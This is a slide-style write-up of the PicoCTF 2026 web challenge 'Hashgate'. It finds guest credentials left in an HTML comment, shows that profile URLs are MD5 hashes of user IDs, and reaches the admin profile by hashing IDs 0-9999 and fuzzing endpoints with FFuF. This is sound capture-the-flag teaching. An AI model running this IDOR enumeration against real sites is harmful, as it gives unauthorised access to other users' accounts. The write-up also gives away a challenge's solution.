

PicoCTF 2026 – Hashgate

Hashgate

Web Exploitation

Medium

100 pts 2,797 solves

by Yahaya Meddy

You have gotten access to an organisation's portal. Submit your email and password, and it redirects you to your profile. But be careful: just because access to the admin isn't **directly** exposed doesn't mean it's secure. Maybe someone forgot that obscurity isn't security... Can you find your way into the admin's profile for this organisation and capture the flag?

In this challenge, we're told that access to the admin account has something to do with “security through obscurity”

PicoCTF 2026 – Hashgate

Stolen Credentials

```
</style>  
<!-- Email: guest@picoctf.org Password: guest -->  
</head>
```

We're not given any credentials for this web app,
but we find some on the landing page's HTTP
source code

PicoCTF 2026 – Hashgate

Hashed Endpoint Values

Access level: Guest (ID: 3000).

/profile/user:e93028bdc1aacdfb3687181f2031765d

Once logged in, we see a potential user ID number and a user profile endpoint that looks like some sort of hash

PicoCTF 2026 – Hashgate

Hashed Endpoint Values

Access level: Guest (ID: 3000).

Type		Result
	md5	3000

After cracking this hash, we see that it is the hashed value of the user ID number

PicoCTF 2026 – Hashgate IDOR Fuzzing

```
└─$ echo -n '3000' | md5sum  
e93028bdc1aacdfb3687181f2031765d
```

```
└─$ cat md5list.txt | head  
cfcd208495d565ef66e7dff9f98764da  
c4ca4238a0b923820dcc509a6f75849b  
c81e728d9d4c2f636f067f89cc14862c
```

Since the user profile endpoint is the MD5 hashed version of the user ID number, we can iterate through a large range (0-9999) to see if we can access other user's profiles

PicoCTF 2026 – Hashgate

IDOR Fuzzing with FFuF

```
e93028bdc1aacdfb3687181f2031765d [Status: 200,  
9a96a2c73c0d477ff2a6da3bf538f4f4 [Status: 200,  
:: Progress: [11000/11000] :: Job [1/1] :: 490
```

If we create the wordlist of MD5 hashes, we can use a web fuzzing tool like FFuF to determine valid endpoints

PicoCTF 2026 – Hashgate IDOR Fuzzing with FFuF



After we get the valid endpoint, we can navigate to that endpoint to get admin access and obtain the flag